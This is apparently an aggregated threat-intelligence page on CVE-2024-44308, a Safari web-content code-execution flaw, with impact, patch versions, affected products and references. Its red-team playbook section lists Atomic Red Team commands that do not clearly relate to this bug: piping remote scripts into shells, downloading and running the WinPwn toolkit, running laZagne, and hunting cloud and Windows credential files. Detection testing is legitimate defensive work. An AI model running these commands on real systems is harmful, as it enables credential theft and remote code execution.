CVE-2024-44308
Overview
This vulnerability is a memory corruption flaw within the web content processing engine of Apple Safari. It arises from insufficient validation of crafted web content inputs, leading to improper handling of internal data structures. The affected component is the Safari browser's rendering and script processing subsystem across multiple Apple operating systems.
Vulnerability Description
The issue was addressed with improved checks. This issue is fixed in Safari 18.1.1, iOS 17.7.2 and iPadOS 17.7.2, iOS 18.1.1 and iPadOS 18.1.1, macOS Sequoia 15.1.1, visionOS 2.1.1. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.
Impact
An attacker can execute arbitrary code by convincing a user to visit a maliciously crafted web page, requiring no authentication or special privileges. This allows remote code execution within the context of the user running Safari, potentially leading to data compromise or system control. The vulnerability has been actively exploited on Intel-based Mac systems, increasing real-world risk. The CVSS vector indicates no user interaction beyond visiting a web page is necessary (AV:N/AC:L/PR:N/UI:R).
Solution
Apple has addressed this vulnerability in Safari 18.1.1, iOS 17.7.2 and 18.1.1, iPadOS 17.7.2 and 18.1.1, macOS Sequoia 15.1.1, and visionOS 2.1.1. Users and administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at Apple's official security updates pages: https://support.apple.com/en-us/121752, https://support.apple.com/en-us/121753, and https://support.apple.com/en-us/121754.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question pertains to a critical flaw in the processing of maliciously crafted web content within several Apple products, including Safari, iOS, iPadOS, macOS, and visionOS. This issue arises from inadequate validation checks, which can lead to arbitrary code execution on affected systems. The implications of this flaw are significant, as it allows attackers to execute arbitrary commands or code with the same privileges as the user running the affected application. This can result in unauthorized access to sensitive data, system compromise, and a potential breach of user privacy.
Attack vectors for exploiting this vulnerability primarily involve the delivery of specially crafted web content. Users may encounter malicious links through phishing emails, compromised websites, or even advertisements on legitimate sites. Once the user interacts with the malicious content, the vulnerability can be triggered, allowing the attacker to execute arbitrary code. This could lead to the installation of malware, data exfiltration, or even remote control of the affected device. Given the widespread use of Apple products, particularly among consumers and enterprises, the potential for exploitation is vast, making this a critical concern for both individual users and organizations.
The real-world impact of this vulnerability is profound. For businesses, the risk includes not only the potential loss of sensitive information but also damage to reputation and customer trust. If exploited, the consequences could range from financial losses due to theft of intellectual property to regulatory fines for failing to protect user data. Additionally, the active exploitation of this vulnerability on Intel-based Mac systems indicates that threat actors are already targeting specific platforms, heightening the urgency for users to apply the necessary updates and patches. The interconnected nature of modern digital ecosystems means that a breach in one area can have cascading effects across an organization, amplifying the overall risk.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security strategy. Regular software updates are paramount, as the latest versions of affected products contain critical patches that address this flaw. Additionally, employing web filtering solutions can help block access to known malicious sites that may exploit this vulnerability. User education is also essential; training employees to recognize phishing attempts and suspicious links can significantly reduce the likelihood of successful exploitation. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by attackers.
In conclusion, the vulnerability affecting the processing of web content in various Apple products presents a serious threat to both individual users and organizations. The potential for arbitrary code execution underscores the need for immediate action to mitigate risks. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, stakeholders can better prepare and defend against potential exploitation. A proactive approach to security, encompassing timely updates, user education, and robust detection mechanisms, is essential to safeguard against the evolving landscape of cyber threats.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2024-44308, with telemetry indicating a doubling in exploitation attempts targeting affected Apple Safari versions. This surge is accompanied by the emergence of new proof-of-concept exploits focusing on the JavaScriptCore component, which may lower the barrier for adversaries to weaponize this vulnerability. Although the overall exploit prediction score remains stable, the sharp increase in detection frequency signals heightened attacker interest and potential expansion of the threat actor pool. For defenders, this development underscores the urgency of monitoring for exploitation attempts and reinforces the criticality of deploying the latest patches promptly. The evolving exploit landscape suggests that the risk of arbitrary code execution via malicious web content is becoming more imminent, elevating the threat level from a latent to an actively exploited state.
Update 2 — August 02, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-44308, with a notable surge in telemetry signals indicating increased attacker activity. Although the EPSS score has experienced a slight decline, this metric does not fully capture the intensifying operational use observed across our sensors. The emergence of new proof-of-concept exploits focused on the JavaScriptCore component underscores growing adversary capability and interest in weaponizing this vulnerability. This shift elevates the threat from theoretical to actively exploited, particularly on Intel-based Mac systems where exploitation has been confirmed. For defenders, the increased exploitation frequency signals a narrowing window to detect and respond before widespread compromise occurs, reinforcing the criticality of vigilant monitoring despite stable predictive scores.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Visionos | All |
cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
migopp/cve-2024-44308
DFG register allocation bug in JavaScriptCore
|
migopp | 0 | 1 | 2025-04-07 | View |
Threat Feed
13 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (9)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-44308 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/121752 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/121753 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/121754 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/121755 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/121756 |
| seclists.org |
NVD API
Mailing List
Third Party Advisory
|
http://seclists.org/fulldisclosure/2024/Nov/16 |
| lists.debian.org |
NVD API
Mailing List
|
https://lists.debian.org/debian-lts-announce/2024/12/msg00003.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-44308 |